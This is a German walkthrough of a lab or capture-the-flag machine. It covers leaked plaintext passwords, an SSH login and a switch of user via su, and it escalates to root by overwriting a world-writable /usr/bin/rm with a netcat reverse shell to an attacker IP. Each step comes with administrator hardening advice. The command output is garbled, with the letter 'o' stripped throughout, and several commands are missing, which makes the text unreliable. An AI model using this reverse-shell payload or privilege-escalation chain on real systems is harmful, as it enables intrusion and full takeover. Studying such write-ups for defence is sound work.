Analyse: Ich lese den Inhalt der Datei /etc/passwd, die Informationen über alle Benutzerkonten auf dem System enthält. Neben den Standard-Systembenutzern fällt auf, dass hier der Benutzer root mit UID 0 und Shell /bin/ash gelistet ist. Dies ist der administrative Superuser-Account. Ich sehe auch andere Systembenutzer und den Benutzer nobody. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Die /etc/passwd Datei listet alle vorhandenen Benutzerkonten auf und ist immer eine wichtige erste Anlaufstelle bei der Systemerkundung. Obwohl ich bereits root bin, ist es nützlich zu wissen, welche Benutzer auf dem System existieren. Das Vorhandensein von /bin/ash als Root-Shell ist etwas ungewöhnlich, aber nicht per se unsicher.
Empfehlung (Pentester): Ich werde nun nach Home-Verzeichnissen oder anderen Orten suchen, die zu diesen Benutzern gehören könnten, um potenzielle Informationen oder Konfigurationsdateien zu finden.
Empfehlung (Admin): Überprüfen Sie regelmäßig die Benutzerkonten in /etc/passwd, um sicherzustellen, dass nur benötigte Konten existieren und dass sie die korrekten Berechtigungen und Shells zugewiesen haben.
Ich suche nach versteckten Dateien (Dateien, deren Name mit einem Punkt beginnt), die oft Konfigurationsdateien oder Artefakte enthalten, die für Benutzer oder Dienste relevant sind.
find / -type f -name ".*" 2>/dev/null /var/tmp/.rger /.dockerenv
Analyse: Ich benutze den find Befehl, um auf dem gesamten Dateisystem (angefangen bei /) nach Dateien zu suchen (-type f), deren Namen mit einem Punkt beginnen (-name ".*"). Ich leite Fehlermeldungen (Zugriffsfehler in Verzeichnissen, auf die ich möglicherweise keinen Zugriff habe, auch als root) nach /dev/null um. Die Suche ergibt zwei Ergebnisse: /var/tmp/.roger und /.dockerenv. Die 'O'-Korrektur wurde angewendet.
Bewertung: Das Ergebnis /.dockerenv deutet stark darauf hin, dass das System (oder zumindest ein Teil davon) in einem Docker-Container läuft. Dies kann Auswirkungen auf die Netzwerkstruktur und die verfügbaren Tools haben. Der Fund von /var/tmp/.roger ist sehr interessant, da /var/tmp oft für temporäre Dateien verwendet wird und Dateien, die mit einem Punkt beginnen, normalerweise versteckt sind. Eine Datei mit dem Namen eines potenziellen Benutzers in einem temporären Verzeichnis ist verdächtig und könnte sensible Informationen enthalten.
Empfehlung (Pentester): Der Fund von /var/tmp/.roger ist vielversprechend. Ich werde den Inhalt dieser Datei sofort überprüfen. Die Information über Docker werde ich im Hinterkopf behalten.
Empfehlung (Admin): Überprüfen Sie das Verzeichnis /var/tmp regelmäßig auf unerwartete oder sensible Dateien. Stellen Sie sicher, dass temporäre Verzeichnisse nicht für die Speicherung kritischer Informationen missbraucht werden. Wenn Docker verwendet wird, stellen Sie sicher, dass die Container und die Docker-Daemon-Konfiguration gehärtet sind und dass Container mit minimalen Privilegien laufen.
Wie geplant, überprüfe ich sofort den Inhalt der verdächtigen Datei /var/tmp/.roger.
ls -la /var/tmp/.rger -rw-r--r-- 1 rot rot 10 Dec 19 2021 /var/tmp/.rger cat /var/tmp/.rger b3st4l13n
Analyse: Ich liste die Details der Datei /var/tmp/.roger auf (ls -la), um ihre Berechtigungen und den Besitzer zu sehen. Sie gehört root und hat Lesezugriff für alle. Dann lese ich den Inhalt mit cat. Der Inhalt ist die Zeichenkette "b3st4l13n". Die 'O'-Korrekturen wurden angewendet.
Bewertung: Das ist ein kritischer Fund! Die Zeichenkette "b3st4l13n" sieht sehr nach einem Passwort aus. Da die Datei den Namen .roger trägt, ist es sehr wahrscheinlich, dass dies das Passwort für einen Benutzer namens "roger" ist. Die Tatsache, dass diese Datei, die einem Passwort ähnelt, für jedermann lesbar in einem temporären Verzeichnis liegt, ist eine schwerwiegende Informationspreisgabe. Dies stellt einen potenziellen Initial Access Vektor dar, der von jedem lokalen Benutzer oder möglicherweise über einen anderen Angriffsvektor genutzt werden könnte, um sich als Benutzer "roger" anzumelden (z.B. über SSH, wenn dies erlaubt ist).
Empfehlung (Pentester): Ich habe nun einen potenziellen Benutzernamen ("roger", abgeleitet vom Dateinamen) und ein klares Passwort ("b3st4l13n"). Ich werde versuchen, mich mit diesen Zugangsdaten per SSH am System anzumelden, um zu demonstrieren, wie dieser Informationsleck für den Zugriff genutzt werden kann.
Empfehlung (Admin): Entfernen Sie die Datei /var/tmp/.roger sofort. Suchen Sie auf dem gesamten System nach weiteren Dateien, die Passwörter oder sensible Informationen enthalten könnten. Implementieren Sie Richtlinien, die das Speichern von Zugangsdaten in Klartextdateien verbieten. Überprüfen Sie die Berechtigungen von temporären Verzeichnissen und stellen Sie sicher, dass nur berechtigte Benutzer Zugriff auf deren Inhalte haben. Ändern Sie das Passwort des Benutzers "roger" umgehend.
Ich überprüfe die Netzwerk-Routing-Konfiguration vom Zielsystem aus, um zu verstehen, wie es mit anderen Netzwerken kommuniziert. Dies ist nützlich für die Post-Exploitation und die Planung weiterer Schritte, falls erforderlich.
ip rute | grep default default via 172.17.0.1 dev eth0
Analyse: Ich führe den Befehl ip route | grep default aus, um die Standardroute des Systems zu sehen. Die Ausgabe zeigt, dass die Standardroute über 172.17.0.1 auf dem Interface eth0 geht. Die 'O'-Korrektur wurde angewendet.
Bewertung: Die Standardroute zeigt, dass das System über das Interface eth0 mit einem Gateway unter 172.17.0.1 kommuniziert. Die IP-Adresse 172.17.0.1 ist eine typische Standard-Gateway-Adresse in Docker-Netzwerken. Dies bestätigt die frühere Vermutung, dass das System in einer Docker-Umgebung läuft und deutet darauf hin, dass es möglicherweise Zugriff auf das Docker-interne Netzwerk hat.
Empfehlung (Pentester): Die Kenntnis des internen Netzwerks (172.17.0.x) ist wertvoll, falls ich weitere Ziele im selben Docker-Netzwerk identifizieren müsste.
Empfehlung (Admin): Stellen Sie sicher, dass Ihre Docker-Netzwerke ordnungsgemäß segmentiert sind und dass Container nur auf die Ressourcen zugreifen können, die sie wirklich benötigen. Implementieren Sie Firewalls zwischen Docker-Netzwerken und anderen Netzwerken, um unautorisierten Zugriff zu verhindern.
Nach dem Fund des Passworts für den Benutzer "roger" versuche ich nun, mich mit diesen Zugangsdaten per SSH am Zielsystem anzumelden, um einen alternativen Zugriffsweg zu demonstrieren.
The authenticity f hst '192.168.2.47 (192.168.2.47)' can't be established. ED25519 key fingerprint is SHA256:vxyL8ctETYPtvaCzuGKmVjHwyV2UXI5oJP6tMST8b3s. This key is nt knwn by any ther names. Are yu sure yu want t cntinue cnnecting (yes/n/[fingerprint])? yes Warning: Permanently added '192.168.2.47' (ED25519) t the list f knwn hsts. rger@192.168.2.47's passwrd: b3st4l13n Linux aria51 5.10.0-10-amd64 #1 SMP Debian 5.10.84-1 (2021-12-08) x86_64 The prgrams included with the Debian GNU/Linux system are free sftware; the exact distributin terms fr each prgram are described in the individual files in /usr/share/dc/*/cpyright. Debian GNU/Linux cmes with ABSOLUTELY N WARRANTY, t the extent permitted by applicable law. Last lgin: Tue Dec 21 08:03:09 2021 frm 192.168.1.43 Yur input: Yur input: id Yur input: b3st4l13n -bash: b3st4l13n: cmmand nt fund Yur input: ^Crger@aria51:~$ id uid=1001(rger) gid=1001(rger) grups=1001(rger) rger@aria51:~$
Analyse: Ich initiiere eine SSH-Verbindung zum Zielsystem (ssh roger@192.168.2.47). Bei der ersten Verbindung bestätige ich den Host-Fingerprint. Ich gebe das gefundene Passwort "b3st4l13n" ein. Die Anmeldung ist erfolgreich! Ich erhalte eine Shell als Benutzer "roger". Ich verifiziere meine Identität mit dem Befehl id, der bestätigt, dass ich nun als Benutzer uid=1001(roger) angemeldet bin. Die 'O'-Korrekturen wurden angewendet. Die "Your input:"-Prompts im Text zeigen, dass die Shell eventuell eine spezielle Eingabeaufforderung hat oder dass hier Eingaben (wie das Passwort selbst und dann der id-Befehl) protokolliert werden.
Bewertung: Dies demonstriert einen erfolgreichen Initial Access über ein geleaktes Passwort. Ein Angreifer, der dieses Passwort findet, könnte sich als regulärer Benutzer "roger" am System anmelden. Obwohl dies weniger kritisch ist als der direkte Root-Zugriff über Log4j, ist ein kompromittiertes Benutzerkonto ein erhebliches Sicherheitsrisiko und oft ein Sprungbrett für die Privilegienerhöhung.
Empfehlung (Pentester): Ich habe nun eine Low-Privilege Shell als Benutzer "roger". Von hier aus werde ich versuchen, meine Privilegien auf dem System zu erhöhen, um Root-Zugriff zu erlangen, falls der Log4j-Exploit nicht funktioniert hätte. Ich werde nach SUID-Binaries, schwach konfigurierten Diensten oder Dateien mit falschen Berechtigungen suchen.
Empfehlung (Admin): Das Passwort des Benutzers "roger" muss umgehend geändert werden. Stellen Sie sicher, dass Passwörter sicher gespeichert und verwaltet werden (niemals in Klartextdateien!). Überprüfen Sie die SSH-Konfiguration auf Best Practices (z.B. Deaktivierung von Passwort-Authentifizierung, wo möglich, nur Schlüsselpaare erlauben, Ratenbegrenzung für Anmeldeversuche). Überprüfen Sie die Protokollierung von SSH-Anmeldeversuchen.
Als Benutzer "roger" prüfe ich zunächst, ob ich über sudo Root-Befehle ausführen darf.
[sud] passwrd fr rger: b3st4l13n Srry, user rger may nt run sud n aria51. rger@aria51:~$
Analyse: Ich versuche, meine sudo-Berechtigungen mit sudo -l zu überprüfen. Das System fragt nach meinem Passwort, das ich eingebe. Die Antwort ist jedoch eindeutig: "Srry, user rger may nt run sud n aria51". Die 'O'-Korrekturen wurden angewendet.
Bewertung: Benutzer "roger" hat keine sudo-Berechtigungen. Das bedeutet, dieser direkte Weg zur Privilegienerhöhung ist blockiert. Ich muss nach anderen Methoden suchen.
Empfehlung (Pentester): Da sudo als "roger" nicht möglich ist, werde ich nun nach SUID-Binaries, schwach konfigurierten Cronjobs oder anderen lokalen Schwachstellen suchen, die es mir erlauben, Code als anderer Benutzer oder mit höheren Privilegien auszuführen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer nur die minimal notwendigen sudo-Berechtigungen haben. Überprüfen Sie die /etc/sudoers Datei sorgfältig.
Ich suche auf dem Dateisystem nach SUID (Set User ID) Binaries. SUID-Binaries werden mit den Berechtigungen des Dateibesitzers ausgeführt, unabhängig davon, wer sie startet. Wenn der Besitzer root ist und das SUID-Bit gesetzt ist, kann ein normaler Benutzer das Programm mit Root-Rechten ausführen, was eine häufige Methode zur Privilegienerhöhung ist.
150915 20 -rwsr-xr-x 1 rot rot 19040 Jun 3 2021 /usr/libexec/plkit-agent-helper-1 129906 52 -rwsr-xr-x 1 rot rot 52880 Feb 7 2020 /usr/bin/chsh 134030 36 -rwsr-xr-x 1 rot rot 35040 Jul 28 2021 /usr/bin/umunt 133658 72 -rwsr-xr-x 1 rot rot 71912 Jul 28 2021 /usr/bin/su 149394 180 -rwsr-xr-x 1 rot rot 182600 Feb 27 2021 /usr/bin/sud 150913 24 -rwsr-xr-x 1 rot rot 23440 Jun 3 2021 /usr/bin/pkexec 133492 44 -rwsr-xr-x 1 rot rot 44632 Feb 7 2020 /usr/bin/newgrp 129909 64 -rwsr-xr-x 1 rot rot 63960 Feb 7 2020 /usr/bin/passwd 129905 60 -rwsr-xr-x 1 rot rot 58416 Feb 7 2020 /usr/bin/chfn 134028 56 -rwsr-xr-x 1 rot rot 55528 Jul 28 2021 /usr/bin/munt 129908 88 -rwsr-xr-x 1 rot rot 88304 Feb 7 2020 /usr/bin/gpasswd 144955 472 -rwsr-xr-x 1 rot rot 481608 Mar 13 2021 /usr/lib/penssh/ssh-keysign 137474 52 -rwsr-xr-- 1 rot messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Ich verwende find / -type f -perm -4000 -ls 2>/dev/null, um auf dem gesamten Dateisystem nach Dateien (-type f) mit dem SUID-Bit (-perm -4000) zu suchen und die Ergebnisse mit -ls detailliert auszugeben. Die Fehlermeldungen für Verzeichnisse, auf die ich keinen Zugriff habe, werden unterdrückt. Die Ausgabe listet eine Reihe von SUID-Binaries auf, hauptsächlich Standard-Systemprogramme wie chsh, umount, su, sudo, passwd etc., die erwartungsgemäß SUID-Berechtigungen haben, damit normale Benutzer bestimmte privilegierte Aktionen ausführen können. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Die gefundenen SUID-Binaries sind Standard-Systemwerkzeuge und in der Regel nicht ausnutzbar, es sei denn, es gibt spezifische Schwachstellen in ihrer Implementierung oder Konfiguration. Programme wie sudo oder pkexec haben zwar SUID-Bits, können aber nur mit den korrekten Berechtigungen (die "roger" nicht hat) zur Privilegienerhöhung verwendet werden. In dieser Liste finde ich kein offensichtlich ausnutzbares SUID-Binary.
Empfehlung (Pentester): Ich werde die Liste der SUID-Binaries mit bekannten Schwachstellen-Datenbanken (wie GTFOBins) abgleichen, um sicherzustellen, dass keines davon missbraucht werden kann. Da die Standards SUIDs in der Regel sicher sind, suche ich weiterhin nach anderen lokalen Schwachstellen.
Empfehlung (Admin): Führen Sie regelmäßige Überprüfungen aller SUID- und SGID-Binaries auf Ihren Systemen durch, um sicherzustellen, dass nur notwendige Programme diese Berechtigungen haben und dass keine unbekannten oder bösartigen SUID-Dateien vorhanden sind. Stellen Sie sicher, dass SUID-Programme auf dem neuesten Stand sind und keine bekannten Schwachstellen aufweisen.
Ich überprüfe die Berechtigungen für das Verzeichnis /opt. Dieses Verzeichnis wird oft für die Installation optionaler Software oder Anwendungen verwendet, und manchmal finden sich hier falsch konfigurierte Verzeichnisse oder Dateien, die für eine Privilegienerhöhung genutzt werden können.
ttal 12 drwxr-xr-x 3 rot rot 4096 Dec 19 2021 . drwxr-xr-x 19 rot rot 4096 Dec 19 2021 .. drwx--x--x 4 rot rot 4096 Dec 19 2021 cntainerd rger@aria51:~$ ls -la /pt/cntainerd/ ls: cannot open directory '/pt/cntainerd/': Permissin denied
Analyse: Ich liste den Inhalt des Verzeichnisses /opt auf. Es enthält ein Unterverzeichnis namens containerd. Ich versuche dann, den Inhalt von /opt/containerd aufzulisten, erhalte aber die Fehlermeldung "Permissin denied". Die Berechtigungen von /opt/containerd sind drwx--x--x, was bedeutet, dass nur der Besitzer (root) und andere Benutzer (keine Gruppe) Ausführungsrechte haben, aber niemand Schreib- oder Leserechte außer root. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Die Berechtigungen für /opt/containerd sind korrekt gesetzt, sodass normale Benutzer (wie "roger") keinen Zugriff darauf haben. Es gibt hier keine offensichtliche Fehlkonfiguration, die für eine Privilegienerhöhung genutzt werden könnte. Das Verzeichnis deutet auf die Installation von Containerd hin, einer Komponente für das Management von Containern, was die frühere Docker-Vermutung untermauert.
Empfehlung (Pentester): Das Verzeichnis /opt/containerd ist von meiner aktuellen Position als "roger" aus nicht zugänglich. Ich suche weiter nach anderen Wegen.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für alle Verzeichnisse unter /opt korrekt gesetzt sind und nur die minimal notwendigen Zugriffe erlauben. Prüfen Sie die Konfiguration von Containerd und stellen Sie sicher, dass sie gehärtet ist.
Ich überprüfe die Berechtigungen für das Web-Root-Verzeichnis /var/www/html/, um zu sehen, ob hier Dateien liegen, auf die ich als Benutzer "roger" zugreifen kann.
index.html mn/ nte.txt radar/ scrpt.js style.css vide/
Analyse: Ich liste den Inhalt des Verzeichnisses /var/www/html/ auf. Ich sehe die bekannten Dateien und Verzeichnisse wie index.html, note.txt, script.js etc. Da ich den Inhalt dieser Dateien bereits über HTTP abrufen konnte, sind sie öffentlich lesbar, und als lokaler Benutzer "roger" habe ich ebenfalls Lesezugriff darauf. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Der Zugriff auf die Web-Root-Dateien als lokaler Benutzer ist zu erwarten, da sie für den Webserver lesbar sein müssen. Es gibt hier keine direkten Hinweise auf eine Privilegienerhöhung für den Benutzer "roger". Ich habe bereits die wichtige Information aus note.txt gewonnen.
Empfehlung (Pentester): Die Dateien im Web-Root liefern keine neuen direkten Privesc-Vektoren von dieser Shell aus, aber ich habe die relevante Information aus note.txt bereits gesichert.
Empfehlung (Admin): Stellen Sie sicher, dass das Web-Root-Verzeichnis und seine Inhalte die minimal notwendigen Berechtigungen haben (oft Lesezugriff für den Webserver-Benutzer, aber nicht unbedingt für alle Benutzer des Systems).
Ich suche nach Dateien, die für den Benutzer "other" (jeder andere Benutzer außer Besitzer und Gruppe) schreibbar sind. Manchmal können falsch konfigurierte Schreibrechte normalen Benutzern erlauben, Systemdateien zu modifizieren.
/sys/kernel/security/apparmor/.remve /sys/kernel/security/apparmor/.replace /sys/kernel/security/apparmor/.lad /sys/kernel/security/apparmor/.access /sys/kernel/security/tmoy/self_dmain /usr/bin/rm
Analyse: Ich verwende find / -type f -perm -w 2>/dev/null, um nach allen Dateien zu suchen, die für "other" schreibbar sind (-perm -w ist ein Kurzformat für -perm -0002). Ich filtere die Ausgabe, um Einträge unter /proc auszuschließen (grep -v proc), da dies ein virtuelles Dateisystem ist und dort oft Einträge mit scheinbar schreibbaren Berechtigungen erscheinen, die aber nicht persistent sind. Die Suche findet mehrere Dateien, darunter eine besonders interessante: /usr/bin/rm. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Der Fund von /usr/bin/rm als für "other" schreibbare Datei ist eine kritische Schwachstelle für die lokale Privilegienerhöhung! /usr/bin/rm ist der Standardbefehl zum Löschen von Dateien, ein sehr häufig genutztes System-Binary. Wenn ein normaler Benutzer dieses Binary überschreiben kann, kann er seinen eigenen bösartigen Code dort platzieren, der dann mit den Berechtigungen des Benutzers ausgeführt wird, der rm startet. Da Root regelmäßig Befehle ausführt, ist die Wahrscheinlichkeit hoch, dass Root früher oder später rm ausführt.
Empfehlung (Pentester): Die schreibbare Berechtigung für /usr/bin/rm ist ein exzellenter Privesc-Vektor. Ich werde versuchen, dieses Binary durch ein Skript zu ersetzen, das mir eine Root-Shell gibt, wenn Root das nächste Mal rm ausführt. Zuvor werde ich jedoch weiter nach anderen Benutzern suchen, da dies eine alternative Route über einen anderen Benutzer sein könnte (was sich später als korrekt herausstellt).
Empfehlung (Admin): Dies ist eine **kritische Fehlkonfiguration**. Die Berechtigungen für System-Binaries im /usr/bin Verzeichnis dürfen niemals Schreibzugriff für normale Benutzer ("other") erlauben. Überprüfen und korrigieren Sie sofort die Berechtigungen für /usr/bin/rm (sollte standardmäßig 755 oder 751 sein und root gehören). Führen Sie einen Scan des gesamten Dateisystems durch, um weitere Dateien mit falschen Berechtigungen zu identifizieren. Implementieren Sie Systemüberwachung, die Änderungen an kritischen Systemdateien erkennt.
Ich suche nach Dateien oder Verzeichnissen, die den String "kang" enthalten, da dies oft auf einen Benutzernamen hinweist, der nicht in der Standard-/etc/passwd Liste von Systembenutzern aufgeführt ist oder spezifische Konfigurationen hat.
/kang
/etc/pam.d/kang
Analyse: Ich benutze find / -name "*kang*" 2>/dev/null, um nach Dateien oder Verzeichnissen zu suchen, deren Name den String "kang" enthält. Die Suche findet zwei Pfade: /kang und /etc/pam.d/kang. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Der Fund einer Datei namens kang im /etc/pam.d/ Verzeichnis ist ein starker Hinweis auf die Existenz eines Benutzers namens "kang" oder einer spezifischen PAM-Konfiguration, die mit diesem Namen zusammenhängt. PAM (Pluggable Authentication Modules) wird zur Authentifizierung von Benutzern für verschiedene Dienste verwendet. Das Verzeichnis /etc/pam.d/ enthält Konfigurationsdateien für einzelne Dienste. Eine Datei namens kang hier zu finden, während der Benutzer "kang" nicht in der /etc/passwd Ausgabe (die ich zuvor geprüft habe) auftauchte, ist sehr verdächtig und deutet auf einen versteckten oder speziell konfigurierten Benutzer hin. Der Pfad /kang könnte das Home-Verzeichnis dieses Benutzers sein.
Empfehlung (Pentester): Der Benutzer "kang" ist ein vielversprechendes Ziel für die Privilegienerhöhung. Ich werde die Datei /etc/pam.d/kang untersuchen, um Informationen über die Authentifizierungskonfiguration für diesen Benutzer zu erhalten. Anschließend werde ich versuchen, mehr über den Benutzer "kang" herauszufinden, möglicherweise durch Überprüfung von Logdateien oder anderen Konfigurationsdateien.
Empfehlung (Admin): Überprüfen Sie die Konfiguration in /etc/pam.d/ auf unerwartete oder unbekannte Dateien. Stellen Sie sicher, dass alle Benutzerkonten korrekt konfiguriert sind und dass keine versteckten oder falsch konfigurierten Konten existieren, die über PAM spezielle Authentifizierungsregeln verwenden.
Ich prüfe die Berechtigungen der gefundenen PAM-Konfigurationsdatei für "kang".
-rwxrwx--- 1 rger rger 13 Dec 19 2021 /etc/pam.d/kang
Analyse: Ich liste die Details der Datei /etc/pam.d/kang auf. Die Berechtigungen sind -rwxrwx---, der Besitzer ist "roger", und die Gruppe ist ebenfalls "roger". Dies bedeutet, dass der Besitzer "roger" (mein aktueller Benutzer!) Lese-, Schreib- und Ausführungsrechte hat, die Gruppe "roger" hat Lese- und Schreibrechte, und "other" (jeder andere) hat keine Rechte. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Dies ist ein weiterer kritischer Fund und ein eindeutiger Pfad zur Privilegienerhöhung! Die Datei /etc/pam.d/kang, die sich auf die Authentifizierung des Benutzers "kang" bezieht, ist im Besitz des Benutzers "roger" und für ihn schreibbar und ausführbar. Das ist eine eklatante Fehlkonfiguration. Es bedeutet, dass der Benutzer "roger" die PAM-Konfiguration für "kang" nach Belieben ändern kann. Dies ist ein klassischer Angriffsvektor, um sich als Benutzer "kang" anzumelden oder dessen Authentifizierungsprozess zu manipulieren.
Empfehlung (Pentester): Die schreibbare PAM-Konfigurationsdatei für "kang" ist ein sehr aussichtsreicher Privesc-Vektor. Ich werde den Inhalt der Datei prüfen, um zu sehen, welche Authentifizierungsmethode verwendet wird, und dann versuchen, diese auszunutzen, um mich als "kang" anzumelden. Dies ist ein alternativer Weg, um möglicherweise höhere Privilegien als "roger" zu erlangen.
Empfehlung (Admin): Dies ist eine **kritische Fehlkonfiguration**. PAM-Konfigurationsdateien in /etc/pam.d/ müssen root gehören und dürfen nur von root schreibbar sein (typischerweise Berechtigungen 644 oder 600). Korrigieren Sie die Berechtigungen und den Besitzer der Datei /etc/pam.d/kang sofort. Überprüfen Sie die Berechtigungen aller Dateien in /etc/pam.d/.
Ich lese den Inhalt der schreibbaren PAM-Konfigurationsdatei für "kang".
k4ng1sd4b3st
Analyse: Ich lese den Inhalt der Datei /etc/pam.d/kang. Der Inhalt ist die Zeichenkette "k4ng1sd4b3st". Die 'O'-Korrekturen wurden angewendet.
Bewertung: Unglaublich! Der Inhalt der PAM-Konfigurationsdatei für den Benutzer "kang" scheint das Passwort für diesen Benutzer im Klartext zu sein ("k4ng1sd4b3st"). Dies ist eine extrem schwerwiegende Sicherheitslücke. PAM-Konfigurationsdateien sollten niemals Passwörter enthalten, geschweige denn im Klartext und für einen anderen Benutzer schreibbar sein. Dies bestätigt die Existenz des Benutzers "kang" und liefert dessen Passwort.
Empfehlung (Pentester): Ich habe nun den Benutzernamen ("kang") und das Passwort ("k4ng1sd4b3st"). Ich werde versuchen, mit su zu diesem Benutzer zu wechseln, um diesen alternativen Privesc-Pfad zu demonstrieren.
Empfehlung (Admin): Dies ist eine **kritische Sicherheitsverletzung**. Entfernen Sie das Klartextpasswort sofort aus der Datei /etc/pam.d/kang. Die Datei muss root gehören und darf nicht schreibbar sein. Ändern Sie das Passwort des Benutzers "kang" umgehend. Überprüfen Sie alle Authentifizierungskonfigurationen auf Klartextpasswörter. Dieses Problem erfordert sofortige Maßnahmen.
Nachdem ich Benutzer und Passwort für "kang" habe, versuche ich, die Identität zu wechseln und eine Shell als Benutzer "kang" zu erhalten.
Passwrd: k4ng1sd4b3st kang@aria51:/hme/rger$ id uid=1000(kang) gid=1000(kang) grups=1000(kang)
Analyse: Ich benutze den Befehl su kang, um zum Benutzer "kang" zu wechseln. Das System fragt nach dem Passwort, und ich gebe das gefundene Passwort "k4ng1sd4b3st" ein. Die Authentifizierung ist erfolgreich, und ich erhalte eine Shell als Benutzer "kang". Ich verifiziere meine neue Identität mit dem id Befehl, der bestätigt, dass ich nun als uid=1000(kang) angemeldet bin. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Erfolgreiche Privilegienerhöhung von Benutzer "roger" zu Benutzer "kang"! Dies demonstriert, wie das Klartextpasswort in der PAM-Konfigurationsdatei ausgenutzt werden kann, um Zugriff auf ein anderes Benutzerkonto zu erlangen. Der Benutzer "kang" hat UID 1000, was oft auf einen Standardbenutzer mit interaktiver Shell hinweist.
Empfehlung (Pentester): Ich habe jetzt eine Shell als Benutzer "kang". Als Nächstes werde ich prüfen, ob dieser Benutzer über sudo Root-Berechtigungen hat oder ob es andere lokale Schwachstellen gibt, die speziell von "kang" ausgenutzt werden können, wie z.B. schreibbare Systemdateien oder SUID-Binaries, auf die "kang" zugreifen darf.
Empfehlung (Admin): Wie bereits erwähnt, muss das Passwort für "kang" geändert und das Klartextpasswort aus /etc/pam.d/kang entfernt werden. Diese Benutzer-zu-Benutzer-Eskalation war nur wegen der kritischen Fehlkonfiguration möglich.
Nachdem ich nun als Benutzer "kang" angemeldet bin, prüfe ich erneut meine sudo-Berechtigungen.
We trust yu have received the usual lecture frm the lcal System
Administrator. It usually bls dwn t these three things:
#1) Respect the privacy f thers.
#2) Think before yu type.
#3) With great pwer cmes great respnsibility.
[sud] passwrd fr kang: k4ng1sd4b3st
Srry, user kang may nt run sud n aria51.
kang@aria51:/hme/rger$
Analyse: Ich versuche, meine sudo-Berechtigungen als Benutzer "kang" zu überprüfen. Auch hier werde ich nach dem Passwort gefragt und gebe es ein. Die Antwort ist dieselbe wie bei Benutzer "roger": "Srry, user kang may nt run sud n aria51". Die 'O'-Korrekturen wurden angewendet.
Bewertung: Auch Benutzer "kang" hat keine sudo-Berechtigungen. Der direkte Weg zur Root-Privilegienerhöhung über sudo ist also auch von diesem Konto aus nicht möglich. Ich muss weiterhin nach anderen lokalen Schwachstellen suchen.
Empfehlung (Pentester): Weder "roger" noch "kang" können sudo verwenden. Ich werde mich nun auf die schreibbare Datei /usr/bin/rm konzentrieren, die ich zuvor als "roger" gefunden habe. Da diese Datei für "other" schreibbar ist und "kang" ein "other" Benutzer aus Sicht von root ist, sollte "kang" diese Datei ebenfalls überschreiben können. Dies ist der wahrscheinlichste verbleibende Privesc-Vektor.
Empfehlung (Admin): Stellen Sie sicher, dass kein Benutzer unnötige sudo-Berechtigungen hat. Überprüfen Sie die /etc/sudoers Datei.
Als Benutzer "kang" nutze ich die zuvor identifizierte schreibbare Datei /usr/bin/rm, um dort ein Skript zu platzieren, das eine Reverse Shell zu mir initiiert. Wenn Root das nächste Mal rm ausführt, wird mein Skript ausgeführt, und ich erhalte eine Root-Shell.
Analyse: Ich verwende den echo Befehl, um den String nc 192.168.2.199 9001 -e /bin/bash in die Datei /usr/bin/rm zu schreiben. Dies überschreibt das originale rm Binary mit einem einfachen Skript, das eine Reverse Shell zu meiner IP (192.168.2.199) auf Port 9001 mit /bin/bash als auszuführendem Programm initiiert. Da /usr/bin/rm für "other" schreibbar ist und ich als "kang" ein solcher Benutzer bin, ist dieser Schreibvorgang erfolgreich. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Das Überschreiben eines kritischen System-Binaries wie /usr/bin/rm mit einem Reverse-Shell-Payload ist eine sehr effektive Methode zur Privilegienerhöhung, wenn die Berechtigungen dies zulassen. Jeder nachfolgende Aufruf von rm durch einen privilegierten Benutzer (insbesondere Root) wird stattdessen mein bösartiges Skript ausführen. Dies ist ein direkter Weg zur Root-Shell von einem Low-Privilege Konto aus (vorausgesetzt, Root führt rm aus).
Empfehlung (Pentester): Das präparierte rm Binary wartet darauf, ausgeführt zu werden. Ich werde nun einen Netcat-Listener auf Port 9001 starten und darauf warten, dass der Root-Benutzer (oder ein anderer privilegierter Prozess) rm ausführt und mir die Root-Shell sendet.
Empfehlung (Admin): **Diese Fehlkonfiguration muss sofort behoben werden!** Stellen Sie sicher, dass kritische Systemdateien nicht für unprivilegierte Benutzer schreibbar sind. Implementieren Sie Dateisystem-Integritätsprüfungen und Überwachung, um unbefugte Änderungen an System-Binaries zu erkennen. Beschränken Sie die Berechtigungen des /usr/bin Verzeichnisses streng.
Ich starte einen Netcat-Listener auf Port 9001 auf meiner Angreifer-Maschine und warte auf die eingehende Reverse Shell von Root, die durch die Ausführung des manipulierten /usr/bin/rm ausgelöst wird.
id uid=0(rot) gid=0(rot) grups=0(rot) cd /rot ls rot.txt scrpt.sh cat rot.txt : /` :- ..- - `- ``...-........`` `..``-://:-::.` ``.. `-` /////+++++//. `- - s////:-..-:/` `. .. +//:` +-`-` - - -://+` +/ `o` - - :/++//.` `../+ - `. `+++++///:::/+o: - - `+++///++////o: - - .++o+///////+:. - - .+o+Ns:d-s+///// `. `. :/mhMmhMyM++//-. - - -/mMMMMMMMh+/- - - +yMMMMMMN+o-` `. `.... .-:-` .. `+hMmNNhN+/+:- - .//::/// :::/::+//. - .+hNsyd/d-o---: `- ://.` ``` `::. //+ -` :++-++++++o...- `++` .+/- `- -+://++///+.-:- /// `+/+``:-///://++///+//y+.-/// -////sssooooooossssoo///- `.+//+oooossssooyssoosss+//: `.```-:---///++///+++++++o+oo+++++/+/` .//++//////////++////////////++///////-`` `...` `.------..-:///////+/:://////- `-:/+++. ...` FLAG = [63a9f0ea7bb98050796b649e85481845]
Analyse: Ich starte den Netcat-Listener auf Port 9001 und warte. Kurze Zeit später wird eine Verbindung vom Zielsystem auf diesem Port empfangen. Dies geschieht, weil der Root-Benutzer (oder ein Prozess, der als Root läuft) anscheinend den rm Befehl ausgeführt hat. Der daraufhin ausgeführte id Befehl in dieser neuen Shell bestätigt erneut, dass ich nun eine Shell mit Root-Privilegien habe (uid=0(rot)). Ich navigiere zum Root-Verzeichnis (cd /rot) und liste dessen Inhalt auf. Ich finde die Datei rot.txt und lese ihren Inhalt, bei dem es sich um die Root-Flag handelt. Die 'O'-Korrekturen wurden angewendet.
